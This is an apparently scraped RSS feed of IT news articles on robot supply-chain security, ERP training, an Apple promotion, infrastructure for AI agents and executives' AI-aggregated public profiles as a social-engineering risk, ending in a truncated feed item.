<p class="wp-block-paragraph">What is inside, and who controls it? A humanoid is an assembly of actuators, lidar units, battery packs, joint modules and controllers, most from a supply chain the buyer never vetted, each running firmware the buyer cannot read. Software teams already fought this fight, which is why the <a href="https://www.csoonline.com/article/573185/what-is-an-sbom-software-bill-of-materials-explained.html">software bill of materials</a> became standard practice. Lack of transparency creates systemic risk. Embodied systems raise the stakes because the firmware now lives in dozens of parts that move. The risk does not depend on whether the robot is Chinese, American, German or Japanese. It depends on how much of the system the buyer can see: the hardware, firmware, remote-access paths and maintenance relationships behind it.  China installs more industrial robots than any other country and sits near the center of the battery supply chain, as well as parts of the lidar and machine-vision supply base, which these systems draw on. Lidar, short for Light Detection and Ranging, uses pulsed laser beams to map an environment in 3D; machine vision handles optical inspection and guidance. Much of that lineage traces to suppliers your team has no relationship with. This is the hardware and firmware version of the third-party risk <a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-161r1.pdf">NIST’s supply chain guidance</a> was written for, except that the component has motors. Demand a hardware and firmware bill of materials, then use it. Flag unsigned firmware. Map which supplier holds update authority for each part. Require a way to verify integrity, and treat any component you cannot identify as unmanaged.</p>



<h2 class="wp-block-heading">Evaluation question #2: Access</h2>



<p class="wp-block-paragraph">Who can reach the fleet? Someone installs these machines, someone services them and the vendor pushes software updates.  Where teleoperation is part of the support model, treat it as a privileged remote-access path, not a convenience feature.  Each is a standing path into a machine that moves and lifts. Security teams have seen this story before. Operational Technology (OT) security went mainstream once industrial systems joined IT networks, and the recurring failure is unmanaged remote access that nobody inventoried. According to one industry survey, <a href="https://www.csoonline.com/article/3595787/ot-security-becoming-a-mainstream-concern.html">roughly half of attacks on OT assets originate in an IT network breach</a>. <a href="https://www.cisa.gov/news-events/alerts/2021/01/07/supply-chain-compromise">SolarWinds</a> showed why a trusted update channel deserves scrutiny when one delivered a backdoor to thousands of networks. Embodied systems add the harder part. The compromised endpoint can move. A remote operator on that channel can drive a machine and push code to every unit at once. Treat the fleet like high-value OT. Inventory every remote path, segment it from the production network, default to deny, require signed and verified updates, apply privileged-access controls to vendor maintenance, and treat an always-on teleoperation link as a backdoor until it is governed.</p>



<h2 class="wp-block-heading">Evaluation question #3: Integrity</h2>



<p class="wp-block-paragraph">Whether the machine can be made to misperceive or misbehave. Researchers have shown that <a href="https://www.usenix.org/conference/usenixsecurity20/presentation/sun">lidar spoofing</a> can cause an autonomous system to brake for an obstacle that is not there or miss one that is. The same class of sensor and model manipulation, on a humanoid sharing a floor with people, produces motion, not a wrong answer on a screen. This is where safety engineering and security part ways. Functional safety stops hazardous motion when a component fails. It plans for accidents. Security plans for an adversary. A hardwired safety circuit can stay independent of the control plane, and a good one does. What it does not tell you is how an attacker reached that control plane, altered the model’s inputs or seized the fleet-management path. Ask the vendor to threat-model sensor spoofing and model manipulation as a path to physical motion. Then ask how you will even know it happened. A spoofed sensor does not announce itself. It shows up as a machine acting incorrectly with confidence.</p>



<p class="wp-block-paragraph">Picture the failure in plain terms. A warehouse robot takes a routine vendor update that changes how it navigates. The buyer cannot verify the firmware, cannot identify the supplier of the sensor module and has no logs to distinguish a spoofed sensor from a model error. The machine keeps moving, and no one can say why.</p>



<h2 class="wp-block-heading">Evaluation question #4: Evidence</h2>



<p class="wp-block-paragraph">Whether the claims are true. You have not found an independent audit of embodied-AI field performance, so the uptime and reliability numbers come from the vendor. You are buying a claim, not a track record. Require independently verified uptime, intervention rate and incident history from a named deployment you can call. “Cutting-edge” is not a control.</p>



<h2 class="wp-block-heading">Evaluation question #5: Accountability</h2>



<p class="wp-block-paragraph">Who owns the risk when it fails? Cloud taught security teams shared responsibility the hard way, after years of arguing which side of the line a breach fell on. Embodied AI arrives without that model, and the stakes are physical: the machine can injure someone. In my compliance work, the question that decided everything was always who is accountable when this thing breaks. Put it in the contract. Define the responsibility boundary, an incident-disclosure timeline, a right to audit and liability for physical harm. A vendor who will not commit in writing is showing you who bears the risk.</p>



<p class="wp-block-paragraph">These five questions share one root. For a decade, the security question was whether you could trust what a model generates. The embodied question is who can reach the machine and what they can make it do. A demo answers neither.</p>



<p class="wp-block-paragraph">Before any embodied system reaches your floor, make these five demands of the vendor.</p>



<ul class="wp-block-list">
<li><strong>Provenance. </strong>A hardware and firmware bill of materials with named suppliers, integrity verification and a vulnerability-disclosure record. No bill of materials, no deal.</li>



<li><strong>Access. </strong>A full map of who installs, who services and every update and teleoperation path, with segmentation, default-deny and signed updates required.</li>



<li><strong>Integrity. </strong>A threat model for sensor spoofing and model manipulation that treats the failure as physical motion, plus logging that a defender can use.</li>



<li><strong>Evidence. </strong>Independently verified uptime, intervention and incident history from a named deployment you can call.</li>



<li><strong>Accountability. </strong>A contract that defines the responsibility boundary, incident-disclosure timelines, audit rights and liability for physical harm.</li>
</ul>



<p class="wp-block-paragraph">The robot demo is built to make you feel the future has arrived. My job, and now yours, is the unglamorous question behind it. Ask what the machine’s attack surface looks like once it is bolted to your floor, wired to your network and updated by someone you have never met.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Why your ERP training program is failing your employees]]></title>
<description><![CDATA[I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the s...]]></description>
<link>https://tsecurity.de/de/3673041/it-security-nachrichten/why-your-erp-training-program-is-failing-your-employees/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673041/it-security-nachrichten/why-your-erp-training-program-is-failing-your-employees/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the same pace, with the same examples, regardless of who is sitting in the chairs.</p>



<p class="wp-block-paragraph">In one room, you might have a warehouse supervisor who has never used enterprise software, a finance manager with 20 years of system experience and a department coordinator somewhere in between. The vendor trainer covers the same material with all of them. Everyone gets a certificate at the end. Almost nobody is prepared to do their job in the new system when go-live arrives.</p>



<p class="wp-block-paragraph">I want to be clear about something before I go further. In my previous CIO article, I wrote about why organizations should <a href="https://www.cio.com/article/4181808/stop-blaming-your-erp-vendor.html">stop blaming their ERP vendor when implementations fail</a>. That argument still stands. But the training problem is a choice the organization makes. <a href="https://ecosire.com/blog/erp-user-training-best-practices-guide">Most organizations spend less than 5% of their total ERP project budget on training</a> and then hand that underfunded responsibility to the vendor. The vendor delivers what they were contracted to deliver. The gap between what got delivered and what the organization actually needed is not the vendor’s fault. It is a decision the organization made, often without fully understanding its consequences.</p>



<p class="wp-block-paragraph">After 25 years of leading enterprise software implementations and based on the doctoral research I conducted studying ERP implementations in small businesses, I am convinced that the organizations that get training right share one thing in common: they build the expertise internally rather than importing it.</p>



<h2 class="wp-block-heading">Why vendor training falls short</h2>



<p class="wp-block-paragraph">Vendor trainers know the software. That is not in question. What they do not know is your business: your processes, your workflows, your data, your terminology, your culture and the specific ways your organization will use the system once it is live.</p>



<p class="wp-block-paragraph">That gap matters more than most organizations realize. <a href="https://www.prosci.com/blog/why-do-erp-implementations-fail">Research consistently shows that inadequate training is one of the primary drivers of ERP implementation failure</a>, not because training did not happen, but because the training that happened did not connect the system to the work. Employees left those sessions knowing what buttons to click without understanding why those buttons mattered to their specific job.</p>



<p class="wp-block-paragraph">Generic training has a structural problem: it is optimized for coverage, not relevance. The goal is to ensure every employee has seen every feature. The result is that employees spend significant time learning functionality that does not apply to their role, while the functionality that does apply gets the same shallow treatment as everything else.</p>



<p class="wp-block-paragraph">A finance manager sitting through a session on shop floor production tracking is not learning anything she will use. A warehouse supervisor learning about financial journal entries is in the same position. Both leave the session technically trained. Neither leaves prepared.</p>



<p class="wp-block-paragraph">There is also a timing problem. Vendor training typically happens in a compressed window before go-live, delivered as a series of sessions rather than a progression. Research on learning retention suggests that training delivered weeks before it is needed, without reinforcement or practice, is largely forgotten by the time employees need to apply it. The result is a go-live day where everyone attended training and almost nobody feels ready.</p>



<h2 class="wp-block-heading">What internal expertise looks like in practice</h2>



<p class="wp-block-paragraph">In my doctoral research, I interviewed six IT managers from small businesses who had each led successful ERP implementations. Five of the six identified role-based, department-specific training as essential to their outcome. What distinguished their approach was not that they spent more on training. It was that they built the training capability inside the organization rather than contracting it out.</p>



<p class="wp-block-paragraph">The approach that worked most consistently was identifying one person from each affected department early in the implementation, before configuration even began. That person became the departmental expert: involved in design decisions, consulted on how their team’s processes mapped to the new system and ultimately responsible for either delivering training to their colleagues or co-leading it alongside a formal trainer.</p>



<p class="wp-block-paragraph">This is sometimes called a super user model, and the research supports its effectiveness. But what I observed in the implementations that worked goes beyond the mechanics of the model. The departmental expert brought something a vendor trainer cannot: credibility. When the warehouse supervisor learns the receiving process from someone who has worked in that warehouse, who understands the exceptions and the edge cases and the way things truly flow on a busy day, the training resonates in a way that a generic session never can.</p>



<p class="wp-block-paragraph">There is also an ownership dimension that is easy to underestimate. <a href="https://www.workday.com/en-us/perspectives/hr/erp-training-tips-best-practices.html">Peer-based training led by internal super users helps employees connect system steps to their daily responsibilities</a> in ways that outsider-led training rarely achieves. The departmental expert has skin in the game. They are going to use this system too. That shared stake changes the dynamic in the training room and sustains the support relationship long after the formal training is over.</p>



<p class="wp-block-paragraph">I have seen this play out in both directions. In implementations where the organization invested in building internal expertise early, go-live day was hard but manageable. Questions went to the departmental expert, who could answer them in the language of the department. Issues surfaced quickly because someone in each area was watching for them. Adoption stabilized faster because the support was embedded in the team rather than accessible only through a help desk ticket.</p>



<p class="wp-block-paragraph">In implementations where training was handed entirely to the vendor, the pattern was different. Go-live revealed gaps that training had not covered. The vendor’s support engagement was winding down. The organization had no internal expertise to draw on. Employees reverted to workarounds. The system went live but never fully took hold.</p>



<h2 class="wp-block-heading">How to build internal training capability before go-live</h2>



<p class="wp-block-paragraph">The organizations that got this right did not wait until the training phase to think about training. They started building internal expertise at the beginning of the project. Here is what that looked like in practice.</p>



<h3 class="wp-block-heading">Identify departmental experts early</h3>



<p class="wp-block-paragraph">Select one person from each affected department before configuration begins. Choose people who are respected by their colleagues, have a solid understanding of their department’s processes and are willing to invest extra time in the project. This is not a small ask. Make sure they and their managers understand the commitment and that the contribution is recognized.</p>



<h3 class="wp-block-heading">Involve them in the implementation, not just the training</h3>



<p class="wp-block-paragraph">The departmental expert should participate in process design sessions, configuration reviews and user acceptance testing. By the time training begins, they should understand the system deeply enough to explain not just how it works but why specific decisions were made. That context is what makes internal training credible.</p>



<h3 class="wp-block-heading">Design training around the job, not the system</h3>



<p class="wp-block-paragraph">Training content should be organized around realistic work scenarios specific to each department, not around the system’s feature set. The finance team trains on how to process their transactions in the new system. The warehouse team trains on how to manage their receipts and inventory. Connect every step to the work employees actually do.</p>



<h3 class="wp-block-heading">Plan for post-go-live support, not just pre-go-live training</h3>



<p class="wp-block-paragraph">The weeks immediately after go-live are when training becomes real and when the gaps in pre-go-live preparation surface. The departmental expert should have a defined support role in that period: available to their colleagues, connected to the project team and empowered to escalate issues that need resolution. This is not a minor detail. It is where the investment in internal expertise pays its most important dividends.</p>



<p class="wp-block-paragraph">None of this requires a large budget or a dedicated training function. It requires early decisions about who will own the training relationship inside each department and the organizational commitment to support those people through the implementation, rather than treating training as a final phase activity.</p>



<p class="wp-block-paragraph">The vendor knows the software. That knowledge is valuable and should not be wasted. But your people know your business, your processes and the way work flows on any given day. The question is not whether to use your vendor’s expertise. It is whether you are also building the internal expertise that turns a trained workforce into a prepared one. The organization that does both will not just go live. It will thrive.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Apple's Back to School offers have started, but you can do much better]]></title>
<description><![CDATA[Apple has launched an unusually limited Back to School series of deals and they are not to be dismissed, but there are far greater discounts to be had from other resellers.Apple's lates Back to School offer is now live - image credit: AppleEven when it isn't raising prices, it is a rule with Appl...]]></description>
<link>https://tsecurity.de/de/3673004/ios-mac-os/apples-back-to-school-offers-have-started-but-you-can-do-much-better/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673004/ios-mac-os/apples-back-to-school-offers-have-started-but-you-can-do-much-better/</guid>
<pubDate>Thu, 16 Jul 2026 11:55:28 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has launched an unusually limited Back to School series of deals and they are not to be dismissed, but there are far greater discounts to be had from other resellers.<br><br><div><img src="https://photos5.appleinsider.com/gallery/67772-143897-000-lead-Back-to-School-xl.jpg" alt="Two colorful stylized tablets float on a black background, one with yellow feather-like pattern, one with purple folds, surrounded by cartoon icons including a hand, eyes, starburst, and small Apple logo" height="720"><br><span>Apple's lates Back to School offer is now live - image credit: Apple</span></div><br>Even when it isn't <a href="https://appleinsider.com/articles/26/06/25/apple-confirms-price-nikes-across-macs-ipads-and-more">raising prices</a>, it is a rule with Apple that it will never actually have sales on its products, except for certain <a href="https://appleinsider.com/articles/24/05/08/march-iphone-discounts-in-china-may-have-saved-apples-quarter">regular promotions</a> in China. So for this latest deal, it is again falling back on offering Apple gift cards alongside selected products.<br><br>So when a user buys one of these devices, they get a gift card that amounts to money off their next purchase. Consequently if someone knows they need two Apple devices, they can get money off the second one.<br><br><br> <a href="https://appleinsider.com/articles/26/07/16/apples-back-to-school-offers-have-started-but-you-can-do-much-better?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244970?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[New agentic compute patterns]]></title>
<description><![CDATA[For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start th...]]></description>
<link>https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</guid>
<pubDate>Thu, 16 Jul 2026 11:19:03 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start thinking about services. Most cloud-native infrastructure today is built on top of it, directly or in spirit, and EKS made that model the default for the majority of enterprise teams running workloads on AWS.</p>



<p class="wp-block-paragraph">The workload that defined that era was the stateless HTTP request, fast in, fast out, disposable. A user action triggers a request, the request hits a service, the service returns a response and the container is done. Kubernetes was optimized for that pattern down to the scheduler internals: Bin-pack containers onto nodes, autoscale on CPU and memory, evict and reschedule when something goes wrong. The whole system is tuned around the assumption that individual units of work are short, stateless and interchangeable.</p>



<p class="wp-block-paragraph">That assumption no longer holds for the workloads that matter most right now.</p>



<h2 class="wp-block-heading">The agent workload is structurally different</h2>



<p class="wp-block-paragraph">Agents are long-running, stateful processes. They reason across time, call external tools, spawn subprocesses, write and execute code, and make decisions that depend on what happened five steps earlier in the same task. A single-agent workflow might run for minutes or hours, touching a dozen external systems and generating intermediate outputs that subsequent steps depend on. The compute layer for that kind of work needs to do things the old model was never asked to do. That is the new pattern: Execution infrastructure designed around agent semantics rather than request semantics.</p>



<p class="wp-block-paragraph">The Kubernetes community itself has acknowledged this mismatch. In March 2026, Kubernetes SIG Apps published an<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> introduction to Agent Sandbox</a>, a new CRD-based abstraction designed specifically for singleton, stateful agent workloads. The framing is direct: The ecosystem is moving from short-lived, isolated tasks to deploying multiple, coordinated AI agents that run continuously, and mapping those workloads to traditional Kubernetes primitives requires an entirely new abstraction. The fact that the Kubernetes maintainers built a dedicated primitive for this, rather than recommending teams compose one from existing resources, is itself the clearest signal that agent execution does not fit the old model.</p>



<h2 class="wp-block-heading">What agent execution actually requires</h2>



<p class="wp-block-paragraph">Concretely, it requires four things. First, isolated execution environments that provision in milliseconds, not minutes, so each agent task gets its own sandbox for code execution and tool calls without blocking the reasoning loop. The difference between a two-second environment and a two-minute environment is not a performance optimization; it determines whether the architecture is viable at all. Second, durable state management across the full task lifecycle, so an agent can pause, hand off or resume without re-initializing from scratch and burning tokens to reconstruct context it already built. Third, coordination primitives for multi-agent work: The ability to spawn subagents, pass structured outputs between them and track task dependencies across a graph of concurrent processes. Production agent systems are rarely single agents; they are pipelines of specialized agents with handoffs that need to be reliable and inspectable. Fourth, credentials and secrets management that travel with the execution context, so agents can authenticate to external services securely without exposing credentials in the task definition, logs or the environment variables of a shared container.</p>



<h2 class="wp-block-heading">The mismatch shows up fast in production</h2>



<p class="wp-block-paragraph">Kubernetes and EKS expose the mismatch quickly in practice. Pod eviction terminates an agent mid-task with no clean recovery path. Autoscaling reads CPU utilization as the load signal, but an agent holding a long inference connection looks idle to the scheduler even when it is doing the most consequential work in the pipeline. Provisioning a new environment takes 45 seconds to two minutes on a well-tuned cluster; agent workloads need that in under two seconds or the reasoning loop stalls and the user experience degrades visibly. These are not edge cases or misconfigurations. They are the normal operating conditions for production agent workloads running on infrastructure that was not designed for them.</p>



<p class="wp-block-paragraph">The utilization data makes the broader cost picture even starker. The<a href="https://url.usb.m.mimecastprotect.com/s/zk-6CB1MnMHEQoqvI6hNf2eRQz?domain=cast.ai/" target="_blank" rel="noreferrer noopener"> 2026 State of Kubernetes Optimization Report</a> from CAST AI, drawn from analysis of over 23,000 production clusters across AWS, Azure and GCP, found average CPU utilization at 8 percent, down from 10 percent the year prior. Memory utilization fell from 23 to 20 percent. CPU overprovisioning jumped from 40 to 69 percent year over year. These numbers reflect clusters running traditional workloads, and the pattern is worsening, not improving, as environments scale. Agent workloads compound this problem further. An agent holding an open inference connection or waiting on a tool call registers as idle to a scheduler that reads CPU and memory as the only meaningful load signals. The infrastructure responds to the wrong metric, overprovisioning capacity for demand it cannot measure, while the actual bottleneck, environment provisioning latency and state continuity, goes unaddressed.</p>



<h2 class="wp-block-heading">Security is not the same problem it was before</h2>



<p class="wp-block-paragraph">Agent workloads change the threat model at the infrastructure level. A compromised stateless service exposes a narrow surface defined by its API contracts. A compromised agent exposes every system it can reach, every credential it holds and every action it is authorized to take on behalf of the user. Agents generate and execute their own code, make non-deterministic tool-call decisions and accumulate context across long-running sessions. Standard container namespacing does not contain that kind of risk. Kernel-level isolation, default-deny network egress, scoped credentials per session and agent-aware observability are not optional hardening steps. They are baseline requirements for running agents in production.</p>



<h2 class="wp-block-heading">What teams that ship agents have already figured out</h2>



<p class="wp-block-paragraph">Some of the clearest evidence for this shift comes not from infrastructure vendors but from product engineering teams running agents at scale on their own code. In late 2025, Ramp’s engineering team published a<a href="https://url.usb.m.mimecastprotect.com/s/Co8bCDwO0Ohg2PpXhAiRfjbcM8?domain=engineering.ramp.com" target="_blank" rel="noreferrer noopener"> detailed account of building Inspect</a>, their internal background coding agent. Each Inspect session runs in a sandboxed VM with a full-stack development environment and deep integrations across their observability, CI, and deployment tooling. The architecture requirements map almost exactly to the four primitives above. Filesystem snapshots keep sessions starting in seconds rather than minutes. Sessions are isolated and stateful. The agent can run tests, review telemetry, query feature flags and visually verify frontend changes in a real browser. And the whole system supports unlimited concurrency, so engineers can spin up ten parallel sessions exploring different approaches to the same problem without contention.</p>



<p class="wp-block-paragraph">The results speak for themselves. Within months of launch, roughly 30 percent of all pull requests merged to Ramp’s frontend and backend repositories were written by Inspect. That level of adoption was not mandated. It happened because the execution environment was fast enough, capable enough and well-integrated enough that the agent was strictly better than a local workflow for a meaningful share of tasks. The key insight from the Ramp case is not about the model. It is about the execution layer. As their team put it, session speed should only be limited by model-provider time-to-first-token; everything else, like cloning and installing, needs to be done before the session starts. That is a statement about infrastructure, not intelligence.</p>



<h2 class="wp-block-heading">The ecosystem is catching up, but defaults are sticky</h2>



<p class="wp-block-paragraph">None of that is a criticism of the tools. Kubernetes solved exactly the problem it was designed for, and it solved it well. The issue is that infrastructure defaults are sticky. Teams inherit them, build on top of them and optimize within their constraints long after the underlying workload has changed. The Kubernetes community’s own response, the<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> Agent Sandbox project under SIG Apps</a>, validates the thesis that a new abstraction is necessary. The new primitives the community is building include warm pools for near-zero cold starts, lifecycle management for suspending and resuming idle agents without losing state, and pluggable kernel isolation for secure execution of untrusted code. These are not incremental improvements to existing resources. They are net-new abstractions that acknowledge the old model does not stretch to fit.</p>



<p class="wp-block-paragraph">But adoption of purpose-built agent infrastructure remains early. Enterprises building agent pipelines today are largely running a request-oriented orchestration model against an execution-oriented workload, and the mismatch shows up in task failure rates, runaway costs and debugging cycles that have no good tooling because the observability layer was also designed for stateless services.</p>



<h2 class="wp-block-heading">The structural advantage is available now</h2>



<p class="wp-block-paragraph">The infrastructure to close that gap exists now. The prerequisite is recognizing that agent execution is a first-class compute pattern with its own primitives and its own requirements, not a variant of the stateless service model that defined the last decade. Teams that make that shift early will have a meaningful structural advantage. The ones that do not will spend the next two years wondering why their agent systems are unreliable at a scale that should be tractable.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[The executive profile your security team isn’t defending]]></title>
<description><![CDATA[A few years ago, I was retained to conduct a digital risk review for the chief executive of a mid-sized financial services firm. The brief was standard. Assess what was publicly available about the executive, identify exposure and advise on remediation. The AI tools I used completed the substanti...]]></description>
<link>https://tsecurity.de/de/3672879/it-security-nachrichten/the-executive-profile-your-security-team-isnt-defending/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672879/it-security-nachrichten/the-executive-profile-your-security-team-isnt-defending/</guid>
<pubDate>Thu, 16 Jul 2026 11:09:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A few years ago, I was retained to conduct a digital risk review for the chief executive of a mid-sized financial services firm. The brief was standard. Assess what was publicly available about the executive, identify exposure and advise on remediation. The AI tools I used completed the substantive reconnaissance in under ten minutes.</p>



<p class="wp-block-paragraph">What came back was a synthesized profile. Board memberships and the dates they started. A pattern of public commentary that revealed which policy positions the executive held strongly and which ones he would likely bend on under pressure. A philanthropic interest that explained which causes he would respond to if someone framed an ask around them. None of this information was sensitive in isolation. But assembled into a single, queryable narrative, it was something an attacker could use immediately.</p>



<p class="wp-block-paragraph">What I was looking at was a publicly accessible query to a general-purpose AI tool. And that is the problem most executive protection programs have not yet confronted. The reconnaissance phase for a targeted social engineering attack now takes minutes, not days, and the inputs required are trivial.</p>



<p class="wp-block-paragraph">AI-aggregated executive data has become an attack surface. Most security programs have not yet adapted to it.</p>



<h2 class="wp-block-heading"><a></a>The reconnaissance phase has effectively collapsed</h2>



<p class="wp-block-paragraph">Traditional <a href="https://www.csoonline.com/article/567859/what-is-osint-top-open-source-intelligence-tools.html">OSINT</a> work against an executive target required skill and patience. A competent analyst could build a useful profile over several days by working through search engines, corporate filings, social platforms and archived media. That work was a meaningful barrier. It took time and it required judgment about which sources to trust. It also left trails if the attacker was careless.</p>



<p class="wp-block-paragraph">AI aggregation removes all three constraints.</p>



<p class="wp-block-paragraph">The speed advantage is obvious but it is not the most important change. The more significant shift is synthesis. A search engine returns documents. An AI tool returns a coherent narrative with inferred relationships and interpreted significance. When I query a major AI platform for a senior executive by name, I get a structured account of their career arc, their professional relationships, their areas of visible influence and frequently their personal interests, relationships and public-facing affiliations.</p>



<p class="wp-block-paragraph">The <a href="https://westoahu.hawaii.edu/cyber/global-weekly-exec-summary/alphv-hackers-reveal-details-of-mgm-cyber-attack/">MGM Resorts incident </a>reported in 2023 illustrated the principle at scale. Attackers reportedly identified an MGM executive on LinkedIn, used that public profile information to impersonate them in a call to the IT help desk and obtained access credentials within minutes. The OSINT required was minimal and the manipulation was straightforward. What AI tools have done since is make that kind of reconnaissance faster, more complete and available to actors who lack the manual tradecraft to run it themselves.</p>



<p class="wp-block-paragraph">As the<a href="https://www.verizon.com/business/resources/reports/dbir/"> Verizon Data Breach Investigations Report </a>consistently documents, the human element is present in the majority of confirmed breaches, and social engineering remains one of the most reliable initial access vectors.</p>



<p class="wp-block-paragraph">The accessible nature of AI tools is also expanding the threat population. Attacks that previously required a skilled analyst to design now require only a motivated actor with internet access. That changes the volume and targeting calculus. Executives who were previously too obscure to justify a sophisticated manual attack are now viable targets for anyone with a grievance and a query box.</p>



<h2 class="wp-block-heading"><a></a>What should CIOs and CISOs do about it?</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to route anything involving an executive’s public profile to the comms or PR function. That instinct made sense when the risk was reputational. It no longer covers the exposure.</p>



<p class="wp-block-paragraph">What follows is how I advise clients to structure this work.</p>



<h3 class="wp-block-heading">Monitor regularly</h3>



<p class="wp-block-paragraph">The starting point is establishing visibility into what AI tools are actually returning about your executive population. Not a one-time audit conducted during a board meeting and forgotten. The profiles shift continuously as new content is indexed, old content is reweighted and the models are updated.</p>



<p class="wp-block-paragraph">Assign ownership to run structured queries across the major platforms, including ChatGPT, Gemini, Perplexity and the Microsoft Copilot stack, on a regular cadence. Document what you find and track changes. Treat the output the same way you would treat a vulnerability scan as something to be prioritized and acted upon.</p>



<h3 class="wp-block-heading">Reduce the available attack surface</h3>



<p class="wp-block-paragraph">Work with each executive to identify content that expands their AI-indexed profile without serving any legitimate business purpose. This includes legacy conference bios that contain personal details, social posts that reveal schedule patterns or family context and board announcements that, in aggregate, map an executive’s full professional network. For some of this content, removal is possible and worth pursuing with a targeted effort.</p>



<p class="wp-block-paragraph">The more important conversation is around future behavior. Executives who habitually overshare on LinkedIn or in conference panels need to understand, concretely, what that sharing enables.</p>



<p class="wp-block-paragraph">Family member exposure is a consistent blind spot. An attacker who cannot pressure an executive directly may look for leverage through a spouse, a sibling or a child. Executives rarely consider their family members’ public digital footprint as part of their own security posture. It is.</p>



<h3 class="wp-block-heading">Shape the narrative where reduction isn’t possible</h3>



<p class="wp-block-paragraph">Public company executives, board members with mandatory disclosure obligations and individuals whose public profiles are central to their organizations’ credibility cannot simply go dark.</p>



<p class="wp-block-paragraph">The objective shifts from reduction to shaping in these cases. The goal is to ensure that what AI tools synthesize from the indexed content is professionally bound and does not inadvertently surface high-value pretext material. This is a joint exercise between security and communications, with security defining risk boundaries and communications executing the strategy.</p>



<h3 class="wp-block-heading">Train executives on what their own profile looks like</h3>



<p class="wp-block-paragraph">The most effective single intervention I have seen in executive briefings is also the simplest. Open a browser and query an AI platform on the executive in the room. Let them see the output. The reaction is consistent. They are surprised by the synthesis, uncomfortable with specific details that surface and immediately more engaged with the rest of the conversation than they were before.</p>



<p class="wp-block-paragraph">Abstract threat briefings about social engineering risks rarely land with senior leaders who feel they understand their own security position. Demonstrated evidence of their AI-mediated profile lands every time. As covered in the context of <a href="https://www.cio.com/article/4076479/from-awareness-to-ai-driven-resilience-protecting-identities-data-and-agents.html">executive-targeted attacks</a>, awareness is a prerequisite for the behavior change that makes protection programs effective.</p>



<h3 class="wp-block-heading">Integrate this into the executive protection program</h3>



<p class="wp-block-paragraph">This work belongs alongside endpoint security, credential management and physical protection in a unified executive protection program. When it remains a communications function, it lacks the reporting structure, budget authority and operational discipline that security work requires.</p>



<p class="wp-block-paragraph">Assign an owner with a security mandate. Include AI exposure in the risk register. Report on it at the same cadence as other executive protection metrics. The organizations that have done this well have not created a separate program for it. They have extended an existing one.</p>



<h2 class="wp-block-heading"><a></a>What effective executive protection programs now include</h2>



<p class="wp-block-paragraph">The organizations that have integrated AI exposure into their executive protection work share a few characteristics that distinguish them from those still treating it as a communications edge case.</p>



<ul class="wp-block-list">
<li>They treat the executive’s public information footprint as a managed attack surface with a named accountable party. Someone is responsible for it, the same way someone is responsible for endpoint patching or identity governance.</li>



<li>They include AI-assisted reconnaissance as a starting condition in red team exercises. Before any social engineering simulation begins, the red team runs the same queries an attacker would run. The pretext they design is based on what those queries return.</li>



<li>Their executive protection briefings include an AI profile review as a standing agenda point. Physical security considerations, credential exposure and public information risk are reviewed together because they are connected. An attacker who knows an executive’s schedule from their public-facing content can time a credential reset attempt or a vishing call with equal precision.</li>
</ul>



<p class="wp-block-paragraph">The executive I reviewed several years ago had no idea what his AI-indexed profile contained or what it enabled. Most of the executives I work with today are in the same position. By the time you finish reading this, it is likely those queries have already been run on someone in your organization. The question is whether your program is positioned to detect it and respond in time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Flaw surge fuels need for CISOs to rethink vulnerability management]]></title>
<description><![CDATA[Security experts are calling on enterprises to revise their vulnerability management strategies and move towards “just in time” patching in response the increased pace of vulnerability exploitation.



Attackers are turning to AI to increase the rate of vulnerability exploitation and supply chain...]]></description>
<link>https://tsecurity.de/de/3672628/it-security-nachrichten/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management/</link>
